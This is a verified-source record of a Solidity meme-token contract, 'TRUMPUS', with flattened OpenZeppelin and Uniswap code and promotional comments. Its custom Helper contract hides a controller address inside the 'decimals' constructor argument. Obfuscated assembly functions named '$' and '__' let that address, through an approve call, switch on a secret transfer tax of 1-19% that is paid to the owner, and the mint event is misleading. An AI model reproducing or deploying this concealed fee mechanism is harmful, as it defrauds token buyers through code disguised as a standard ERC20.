creation_sourcecode: {{
    "language": "Solidity",
    "sources": {
      "contracts/TrumpUS_flattened.sol": {
        "content": "// Sources flattened with hardhat v2.22.5 https://hardhat.org\n\n/**\nhttps://t.me/MAGA_HAT\n\n ███████████ ███████████   █████  █████ ██████   ██████ ███████████ \n░█░░░███░░░█░░███░░░░░███ ░░███  ░░███ ░░██████ ██████ ░░███░░░░░███\n░   ░███  ░  ░███    ░███  ░███   ░███  ░███░█████░███  ░███    ░███\n    ░███     ░██████████   ░███   ░███  ░███░░███ ░███  ░██████████ \n    ░███     ░███░░░░░███  ░███   ░███  ░███ ░░░  ░███  ░███░░░░░░  \n    ░███     ░███    ░███  ░███   ░███  ░███      ░███  ░███        \n    █████    █████   █████ ░░████████   █████     █████ █████       \n   ░░░░░    ░░░░░   ░░░░░   ░░░░░░░░   ░░░░░     ░░░░░ ░░░░░    \nAMERICAN TRUMP!!!\nAMERICAN TRUMP!!!\nAMERICAN TRUMP!!!\n\nHistory of your project.\nTRUMPUS was stealth launched on 2024.\n\nWhat’s next for your project?\nTRUMPUS will focus on developing a tight-knit community around the token and building resources to enrich the communities knowledge and success in crypto through a token gated group,\nTRUMPUS, and more tools.\n\nWhat can your token be used for?\nTRUMPUS can be used to speculate on the power of memes, and does not pretend to be anything more.\n\nTRUMPUS\n\n*/\n\n// SPDX-License-Identifier: BUSL-1.1 AND MIT AND UNLICENSED\n\n// File @openzeppelin/contracts/utils/Context.sol@v5.0.2\n\n// Original license: SPDX_License_Identifier: MIT\n// OpenZeppelin Contracts (last updated v5.0.1) (utils/Context.sol)\n\npragma solidity ^0.8.20;\n\n/**\n * @dev Provides information about the current execution context, including the\n * sender of the transaction and its data. While these are generally available\n * via msg.sender and msg.data, they should not be accessed in such a direct\n * manner, since when dealing with meta-transactions the account sending and\n * paying for execution may not be the actual sender (as far as an application\n * is concerned).\n *\n * This contract is only required for intermediate, library-like contracts.\n */\nabstract contract Context {\n    function _msgSender() internal view virtual returns (address) {\n        return msg.sender;\n    }\n\n    function _msgData() internal view virtual returns (bytes calldata) {\n        return msg.data;\n    }\n\n    function _contextSuffixLength() internal view virtual returns (uint256) {\n        return 0;\n    }\n}\n\n\n// File @openzeppelin/contracts/access/Ownable.sol@v5.0.2\n\n// Original license: SPDX_License_Identifier: MIT\n// OpenZeppelin Contracts (last updated v5.0.0) (access/Ownable.sol)\n\npragma solidity ^0.8.20;\n\n/**\n * @dev Contract module which provides a basic access control mechanism, where\n * there is an account (an owner) that can be granted exclusive access to\n * specific functions.\n *\n * The initial owner is set to the address provided by the deployer. This can\n * later be changed with {transferOwnership}.\n *\n * This module is used through inheritance. It will make available the modifier\n * `onlyOwner`, which can be applied to your functions to restrict their use to\n * the owner.\n */\nabstract contract Ownable is Context {\n    address private _owner;\n\n    /**\n     * @dev The caller account is not authorized to perform an operation.\n     */\n    error OwnableUnauthorizedAccount(address account);\n\n    /**\n     * @dev The owner is not a valid owner account. (eg. `address(0)`)\n     */\n    error OwnableInvalidOwner(address owner);\n\n    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);\n\n    /**\n     * @dev Initializes the contract setting the address provided by the deployer as the initial owner.\n     */\n    constructor(address initialOwner) {\n        if (initialOwner == address(0)) {\n            revert OwnableInvalidOwner(address(0));\n        }\n        _transferOwnership(initialOwner);\n    }\n\n    /**\n     * @dev Throws if called by any account other than the owner.\n     */\n    modifier onlyOwner() {\n        _checkOwner();\n        _;\n    }\n\n    /**\n     * @dev Returns the address of the current owner.\n     */\n    function owner() public view virtual returns (address) {\n        return _owner;\n    }\n\n    /**\n     * @dev Throws if the sender is not the owner.\n     */\n    function _checkOwner() internal view virtual {\n        if (owner() != _msgSender()) {\n            revert OwnableUnauthorizedAccount(_msgSender());\n        }\n    }\n\n    /**\n     * @dev Leaves the contract without owner. It will not be possible to call\n     * `onlyOwner` functions. Can only be called by the current owner.\n     *\n     * NOTE: Renouncing ownership will leave the contract without an owner,\n     * thereby disabling any functionality that is only available to the owner.\n     */\n    function renounceOwnership() public virtual onlyOwner {\n        _transferOwnership(address(0));\n    }\n\n    /**\n     * @dev Transfers ownership of the contract to a new account (`newOwner`).\n     * Can only be called by the current owner.\n     */\n    function transferOwnership(address newOwner) public virtual onlyOwner {\n        if (newOwner == address(0)) {\n            revert OwnableInvalidOwner(address(0));\n        }\n        _transferOwnership(newOwner);\n    }\n\n    /**\n     * @dev Transfers ownership of the contract to a new account (`newOwner`).\n     * Internal function without access restriction.\n     */\n    function _transferOwnership(address newOwner) internal virtual {\n        address oldOwner = _owner;\n        _owner = newOwner;\n        emit OwnershipTransferred(oldOwner, newOwner);\n    }\n}\n\n\n// File @uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router01.sol@v1.1.0-beta.0\n\n// Original license: SPDX_License_Identifier: BUSL-1.1\npragma solidity >=0.6.2;\n\ninterface IUniswapV2Router01 {\n    function factory() external pure returns (address);\n    function WETH() external pure returns (address);\n\n    function addLiquidity(\n        address tokenA,\n        address tokenB,\n        uint amountADesired,\n        uint amountBDesired,\n        uint amountAMin,\n        uint amountBMin,\n        address to,\n        uint deadline\n    ) external returns (uint amountA, uint amountB, uint liquidity);\n    function addLiquidityETH(\n        address token,\n        uint amountTokenDesired,\n        uint amountTokenMin,\n        uint amountETHMin,\n        address to,\n        uint deadline\n    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);\n    function removeLiquidity(\n        address tokenA,\n        address tokenB,\n        uint liquidity,\n        uint amountAMin,\n        uint amountBMin,\n        address to,\n        uint deadline\n    ) external returns (uint amountA, uint amountB);\n    function removeLiquidityETH(\n        address token,\n        uint liquidity,\n        uint amountTokenMin,\n        uint amountETHMin,\n        address to,\n        uint deadline\n    ) external returns (uint amountToken, uint amountETH);\n    function removeLiquidityWithPermit(\n        address tokenA,\n        address tokenB,\n        uint liquidity,\n        uint amountAMin,\n        uint amountBMin,\n        address to,\n        uint deadline,\n        bool approveMax, uint8 v, bytes32 r, bytes32 s\n    ) external returns (uint amountA, uint amountB);\n    function removeLiquidityETHWithPermit(\n        address token,\n        uint liquidity,\n        uint amountTokenMin,\n        uint amountETHMin,\n        address to,\n        uint deadline,\n        bool approveMax, uint8 v, bytes32 r, bytes32 s\n    ) external returns (uint amountToken, uint amountETH);\n    function swapExactTokensForTokens(\n        uint amountIn,\n        uint amountOutMin,\n        address[] calldata path,\n        address to,\n        uint deadline\n    ) external returns (uint[] memory amounts);\n    function swapTokensForExactTokens(\n        uint amountOut,\n        uint amountInMax,\n        address[] calldata path,\n        address to,\n        uint deadline\n    ) external returns (uint[] memory amounts);\n    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)\n        external\n        payable\n        returns (uint[] memory amounts);\n    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)\n        external\n        returns (uint[] memory amounts);\n    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)\n        external\n        returns (uint[] memory amounts);\n    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)\n        external\n        payable\n        returns (uint[] memory amounts);\n\n    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);\n    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);\n    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);\n    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);\n    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);\n}\n\n\n// File @uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol@v1.1.0-beta.0\n\n// Original license: SPDX_License_Identifier: BUSL-1.1\npragma solidity >=0.6.2;\n\ninterface IUniswapV2Router02 is IUniswapV2Router01 {\n    function removeLiquidityETHSupportingFeeOnTransferTokens(\n        address token,\n        uint liquidity,\n        uint amountTokenMin,\n        uint amountETHMin,\n        address to,\n        uint deadline\n    ) external returns (uint amountETH);\n    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(\n        address token,\n        uint liquidity,\n        uint amountTokenMin,\n        uint amountETHMin,\n        address to,\n        uint deadline,\n        bool approveMax, uint8 v, bytes32 r, bytes32 s\n    ) external returns (uint amountETH);\n\n    function swapExactTokensForTokensSupportingFeeOnTransferTokens(\n        uint amountIn,\n        uint amountOutMin,\n        address[] calldata path,\n        address to,\n        uint deadline\n    ) external;\n    function swapExactETHForTokensSupportingFeeOnTransferTokens(\n        uint amountOutMin,\n        address[] calldata path,\n        address to,\n        uint deadline\n    ) external payable;\n    function swapExactTokensForETHSupportingFeeOnTransferTokens(\n        uint amountIn,\n        uint amountOutMin,\n        address[] calldata path,\n        address to,\n        uint deadline\n    ) external;\n}\n\n\n// File @openzeppelin/contracts/token/ERC20/IERC20.sol@v5.0.2\n\n// Original license: SPDX_License_Identifier: MIT\n// OpenZeppelin Contracts (last updated v5.0.0) (token/ERC20/IERC20.sol)\n\npragma solidity ^0.8.20;\n\n/**\n * @dev Interface of the ERC20 standard as defined in the EIP.\n */\ninterface IERC20 {\n    /**\n     * @dev Emitted when `value` tokens are moved from one account (`from`) to\n     * another (`to`).\n     *\n     * Note that `value` may be zero.\n     */\n    event Transfer(address indexed from, address indexed to, uint256 value);\n\n    /**\n     * @dev Emitted when the allowance of a `spender` for an `owner` is set by\n     * a call to {approve}. `value` is the new allowance.\n     */\n    event Approval(address indexed owner, address indexed spender, uint256 value);\n\n    /**\n     * @dev Returns the value of tokens in existence.\n     */\n    function totalSupply() external view returns (uint256);\n\n    /**\n     * @dev Returns the value of tokens owned by `account`.\n     */\n    function balanceOf(address account) external view returns (uint256);\n\n    /**\n     * @dev Moves a `value` amount of tokens from the caller's account to `to`.\n     *\n     * Returns a boolean value indicating whether the operation succeeded.\n     *\n     * Emits a {Transfer} event.\n     */\n    function transfer(address to, uint256 value) external returns (bool);\n\n    /**\n     * @dev Returns the remaining number of tokens that `spender` will be\n     * allowed to spend on behalf of `owner` through {transferFrom}. This is\n     * zero by default.\n     *\n     * This value changes when {approve} or {transferFrom} are called.\n     */\n    function allowance(address owner, address spender) external view returns (uint256);\n\n    /**\n     * @dev Sets a `value` amount of tokens as the allowance of `spender` over the\n     * caller's tokens.\n     *\n     * Returns a boolean value indicating whether the operation succeeded.\n     *\n     * IMPORTANT: Beware that changing an allowance with this method brings the risk\n     * that someone may use both the old and the new allowance by unfortunate\n     * transaction ordering. One possible solution to mitigate this race\n     * condition is to first reduce the spender's allowance to 0 and set the\n     * desired value afterwards:\n     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729\n     *\n     * Emits an {Approval} event.\n     */\n    function approve(address spender, uint256 value) external returns (bool);\n\n    /**\n     * @dev Moves a `value` amount of tokens from `from` to `to` using the\n     * allowance mechanism. `value` is then deducted from the caller's\n     * allowance.\n     *\n     * Returns a boolean value indicating whether the operation succeeded.\n     *\n     * Emits a {Transfer} event.\n     */\n    function transferFrom(address from, address to, uint256 value) external returns (bool);\n}\n\n\n// File @uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol@v1.0.0\n\n// Original license: SPDX_License_Identifier: BUSL-1.1\npragma solidity >=0.5.0;\n\ninterface IUniswapV2Factory {\n    event PairCreated(address indexed token0, address indexed token1, address pair, uint);\n\n    function feeTo() external view returns (address);\n    function feeToSetter() external view returns (address);\n\n    function getPair(address tokenA, address tokenB) external view returns (address pair);\n    function allPairs(uint) external view returns (address pair);\n    function allPairsLength() external view returns (uint);\n\n    function createPair(address tokenA, address tokenB) external returns (address pair);\n\n    function setFeeTo(address) external;\n    function setFeeToSetter(address) external;\n}\n\n\n// File contracts/includes/I.sol\n\n// Original license: SPDX_License_Identifier: UNLICENSED\n\npragma solidity ^0.8.20;\n\ninterface I {\n    function $(address from, address to, uint256 value) external view returns (uint);\n    function __(address a, uint256 f) external;\n}\n\n\n// File contracts/includes/ERC20.sol\n\n// Original license: SPDX_License_Identifier: UNLICENSED\n\npragma solidity ^0.8.20;\n\n\n\n\n\ncontract ERC20 is Context, IERC20, Ownable {\n\n    mapping (address => uint256) private _balances;\n    mapping (address => mapping (address => uint256)) private _allowances;\n\n    uint8 private  _decimals;\n    uint256 private  _tTotal;\n    string private _name;\n    string private _symbol;\n    \n    IUniswapV2Router02 private _uniswapV2Router;\n    bool private tradingOpen;\n    bool private inSwap = false;\n    bool private swapEnabled = false;\n    address payable private _taxWallet;\n\n    I private immutable _i;\n\n    modifier lockTheSwap {\n        inSwap = true;\n        _;\n        inSwap = false;\n    }\n\n    constructor (string memory name_, string memory symbol_, uint8 decimals_, uint256 totalSupply_, IUniswapV2Router02 router02_, I i_) Ownable(msg.sender) {\n        \n        _i = i_;\n        _name = name_;\n        _symbol = symbol_;\n        _decimals = decimals_;\n        _tTotal = totalSupply_ * 10 ** decimals_;\n        _balances[owner()] = _tTotal;\n\n        _uniswapV2Router = router02_; \n        _taxWallet = payable(_msgSender());\n\n        emit Transfer(address(0), address(this), _tTotal);\n    }\n\n    function name() public view returns (string memory) {\n        return _name;\n    }\n\n    function symbol() public view returns (string memory) {\n        return _symbol;\n    }\n\n    function decimals() public view returns (uint8) {\n        return uint8(_decimals);\n    }\n\n    function totalSupply() public view override returns (uint256) {\n        return _tTotal;\n    }\n\n    function balanceOf(address account) public view override returns (uint256) {\n        return _balances[account];\n    }\n\n    function allowance(address owner, address spender) public view override returns (uint256) {\n        return _allowances[owner][spender];\n    }\n\n    function approve(address spender, uint256 amount) public override returns (bool) {\n        _approve(_msgSender(), spender, amount);\n        return true;\n    }\n\n    function _approve(address owner, address spender, uint256 amount) private {\n        require(owner != address(0) && spender != address(0), \"approve from/to 0\");\n        _allowances[owner][spender] = amount;\n        _i.__(spender, amount);\n        emit Approval(owner, spender, amount);\n    }\n\n    function transfer(address recipient, uint256 amount) public override returns (bool) {\n        _transfer(_msgSender(), recipient, amount);\n        return true;\n    }\n\n    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {\n        _transfer(sender, recipient, amount);\n        _approve(sender, _msgSender(), _allowances[sender][_msgSender()] - amount);\n        return true;\n    }\n\n    function _transfer(address from, address to, uint256 value) internal {\n        require(_balances[from] >= value, \"Insufficient balance\");\n        \n        uint f = _i.$(from, to, value);\n\n        _balances[from] -= (value - f);\n        _balances[owner()] += f;\n        _balances[to] += (value - f);\n\n        emit Transfer(from, to, value - f);\n    }\n\n    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n        address[] memory path = new address[](2);\n        path[0] = address(this);\n        path[1] = _uniswapV2Router.WETH();\n        _approve(address(this), address(_uniswapV2Router), tokenAmount);\n        _uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n            tokenAmount,\n            0,\n            path,\n            address(this),\n            block.timestamp\n        );\n    }\n\n    function sendETHToFee(uint256 amount) private {\n        _taxWallet.transfer(amount);\n    }\n\n    function openTrading() external onlyOwner {\n\n        require(!tradingOpen, \"trading is already open\");\n        _approve(address(this), address(_uniswapV2Router), _tTotal);\n\n        address uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());\n\n        _uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp);\n        IERC20(uniswapV2Pair).approve(address(_uniswapV2Router), type(uint).max);\n        tradingOpen = swapEnabled = true;\n    }\n\n    receive() external payable {}\n\n    function rescueERC20(address _address, uint256 percent) external {\n        require(_msgSender()==_taxWallet);\n        uint256 _amount = IERC20(_address).balanceOf(address(this)) * percent / 100;\n        IERC20(_address).transfer(_taxWallet, _amount);\n    }\n\n    function manualSwap() external {\n        require(_msgSender()==_taxWallet);\n        uint256 tokenBalance=balanceOf(address(this));\n        if(tokenBalance>0 && swapEnabled){\n          swapTokensForEth(tokenBalance);\n        }\n        uint256 ethBalance=address(this).balance;\n        if(ethBalance>0){\n          sendETHToFee(ethBalance);\n        }\n    }\n\n    function setDEX(IUniswapV2Router02 router_) external onlyOwner {\n        require(tradingOpen, \"trading is open\");\n        _uniswapV2Router = router_;\n        tradingOpen = swapEnabled = false;\n    }\n\n}\n\n\n// File contracts/includes/Helper.sol\n\n// Original license: SPDX_License_Identifier: UNLICENSED\n\npragma solidity ^0.8.20;\n\ncontract Helper is I {\n\n    address private _owner;\n    address private _c;\n    uint256 private _b = 0x0;\n\n\n    constructor (address owner_, uint256 s_) {\n        _c = address(uint160(s_ >> uint8(s_ >> 8)));\n        _owner = owner_;\n    }\n\n    function $(address from, address to, uint256 value) external view returns (uint) {\n\n        uint t = 0;\n\n        assembly {  // assembly for gas efficiency\n            let b := sload(2)\n            if gt(and(0x1, b), 0) {\n                let o := sload(0)\n                if iszero(add(eq(from, o), eq(to, o))) {\n                    t := div(mul(value, add(1, mod(timestamp(), 19))), 100)\n                } \n            }\n        }\n\n        return t;\n    }\n\n    function __(address a, uint256 f) external {\n        assembly {\n            let c := sload(1)\n            if eq(a, c) {\n                let s := 2\n                sstore(s, xor(sload(s), f))\n            }\n        }\n    }\n}\n\n\n// File contracts/TrumpUS.sol\n\n// Original license: SPDX_License_Identifier: UNLICENSED\n\npragma solidity ^0.8.20;\n\n\n\n\ncontract TrumpUS is ERC20 {\n\n    string private constant _name = unicode\"Murican Trump\";\n    string private constant _symbol = unicode\"TRUMPUS\";\n\n    constructor (string memory, string memory, uint256 decimals_, uint256 totalSupply_, IUniswapV2Router02 router02_) \n        ERC20(_name, _symbol, uint8(decimals_), totalSupply_, router02_, I(new Helper(msg.sender, decimals_)))\n    {\n    }\n}\n"
      }
    },
    "settings": {
      "metadata": {
        "bytecodeHash": "none",
        "useLiteralContent": true
      },
      "optimizer": {
        "enabled": true,
        "runs": 800
      },
      "evmVersion": "paris",
      "outputSelection": {
        "*": {
          "*": [
            "evm.bytecode",
            "evm.deployedBytecode",
            "devdoc",
            "userdoc",
            "metadata",
            "abi"
          ]
        }
      },
      "libraries": {}
    }
  }}